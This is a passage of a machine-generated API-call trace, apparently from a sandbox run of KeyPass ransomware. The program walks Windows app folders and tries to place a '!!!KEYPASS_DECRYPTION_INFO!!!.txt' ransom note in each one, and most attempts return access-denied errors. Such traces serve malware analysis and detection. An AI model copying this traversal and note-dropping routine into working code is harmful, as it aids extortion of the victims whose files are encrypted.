pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.795] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Shell\\Themes\\Glyphs\\Font\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.795] GetLastError () returned 0x5 [0289.795] GetLastError () returned 0x5 [0289.795] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.795] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.795] GetLastError () returned 0x3f0 [0289.795] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.795] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\microsoft.system.package.metadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.796] GetLastError () returned 0x5 [0289.796] GetLastError () returned 0x5 [0289.796] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.796] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.796] GetLastError () returned 0x3f0 [0289.796] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.796] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\MSAdvertisingJS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.797] GetLastError () returned 0x5 [0289.797] GetLastError () returned 0x5 [0289.797] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.797] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.797] GetLastError () returned 0x3f0 [0289.797] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\_Resources\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\_Resources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.797] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.BingWeather_4.3.193.0_x86__8wekyb3d8bbwe\\_Resources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.797] GetLastError () returned 0x5 [0289.797] GetLastError () returned 0x5 [0289.797] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0289.797] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.797] GetLastError () returned 0x3f0 [0289.797] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.797] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.803] GetLastError () returned 0x5 [0289.803] GetLastError () returned 0x5 [0289.804] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.804] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.804] GetLastError () returned 0x3f0 [0289.804] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\AppxMetadata\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\AppxMetadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.804] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\AppxMetadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.805] GetLastError () returned 0x5 [0289.805] GetLastError () returned 0x5 [0289.805] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.805] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50168c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.805] GetLastError () returned 0x3f0 [0289.805] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Assets\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Assets\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.805] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Assets\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.810] GetLastError () returned 0x5 [0289.810] GetLastError () returned 0x5 [0289.812] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.812] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50168c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.812] GetLastError () returned 0x3f0 [0289.812] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Content\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Content\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.812] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Content\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.812] GetLastError () returned 0x5 [0289.812] GetLastError () returned 0x5 [0289.813] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0289.813] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.813] GetLastError () returned 0x3f0 [0289.813] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Content\\desktop\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Content\\desktop\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.813] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Content\\desktop\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.813] GetLastError () returned 0x5 [0289.813] GetLastError () returned 0x5 [0289.813] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0289.813] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.813] GetLastError () returned 0x3f0 [0289.813] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.813] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.814] GetLastError () returned 0x5 [0289.814] GetLastError () returned 0x5 [0289.814] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0289.814] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.814] GetLastError () returned 0x3f0 [0289.814] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.814] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.814] GetLastError () returned 0x5 [0289.814] GetLastError () returned 0x5 [0289.815] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0289.815] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.815] GetLastError () returned 0x3f0 [0289.815] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Content\\images\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Content\\images\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.815] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Content\\images\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.815] GetLastError () returned 0x5 [0289.815] GetLastError () returned 0x5 [0289.815] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0289.815] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.815] GetLastError () returned 0x3f0 [0289.815] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Content\\images\\en-US\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Content\\images\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.815] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Content\\images\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.816] GetLastError () returned 0x5 [0289.816] GetLastError () returned 0x5 [0289.816] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0289.816] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.816] GetLastError () returned 0x3f0 [0289.816] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Content\\mobile\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Content\\mobile\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.816] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Content\\mobile\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.816] GetLastError () returned 0x5 [0289.816] GetLastError () returned 0x5 [0289.816] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0289.817] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.817] GetLastError () returned 0x3f0 [0289.817] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-GB\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-GB\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.817] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-GB\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.817] GetLastError () returned 0x5 [0289.817] GetLastError () returned 0x5 [0289.817] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0289.817] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.817] GetLastError () returned 0x3f0 [0289.817] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-US\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.817] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Content\\mobile\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.818] GetLastError () returned 0x5 [0289.818] GetLastError () returned 0x5 [0289.818] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0289.818] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.818] GetLastError () returned 0x3f0 [0289.818] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Content\\surfaceHub\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Content\\surfaceHub\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.818] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Content\\surfaceHub\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.818] GetLastError () returned 0x5 [0289.818] GetLastError () returned 0x5 [0289.818] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0289.818] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.818] GetLastError () returned 0x3f0 [0289.818] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Content\\surfaceHub\\en-GB\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Content\\surfaceHub\\en-GB\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.818] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Content\\surfaceHub\\en-GB\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.819] GetLastError () returned 0x5 [0289.819] GetLastError () returned 0x5 [0289.819] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0289.819] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.819] GetLastError () returned 0x3f0 [0289.819] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Content\\surfaceHub\\en-US\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Content\\surfaceHub\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.819] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Content\\surfaceHub\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.820] GetLastError () returned 0x5 [0289.820] GetLastError () returned 0x5 [0289.820] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.820] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.820] GetLastError () returned 0x3f0 [0289.820] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.820] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.821] GetLastError () returned 0x5 [0289.821] GetLastError () returned 0x5 [0289.821] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.821] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.821] GetLastError () returned 0x3f0 [0289.822] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Resources\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Resources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.822] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Resources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.822] GetLastError () returned 0x5 [0289.822] GetLastError () returned 0x5 [0289.822] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0289.822] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.822] GetLastError () returned 0x3f0 [0289.822] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.822] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.828] GetLastError () returned 0x5 [0289.828] GetLastError () returned 0x5 [0289.828] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0289.828] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.828] GetLastError () returned 0x3f0 [0289.829] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\PartnerJS\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\PartnerJS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.829] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\Resources\\TopicPage\\PartnerJS\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.829] GetLastError () returned 0x5 [0289.829] GetLastError () returned 0x5 [0289.829] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.829] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.830] GetLastError () returned 0x3f0 [0289.830] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\_Resources\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\_Resources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.830] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2.1.9.0_x64__8wekyb3d8bbwe\\_Resources\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.830] GetLastError () returned 0x5 [0289.830] GetLastError () returned 0x5 [0289.830] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0289.830] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.830] GetLastError () returned 0x3f0 [0289.830] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2015.622.1108.0_neutral_~_8wekyb3d8bbwe\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2015.622.1108.0_neutral_~_8wekyb3d8bbwe\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.830] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2015.622.1108.0_neutral_~_8wekyb3d8bbwe\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.834] GetLastError () returned 0x5 [0289.834] GetLastError () returned 0x5 [0289.835] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) 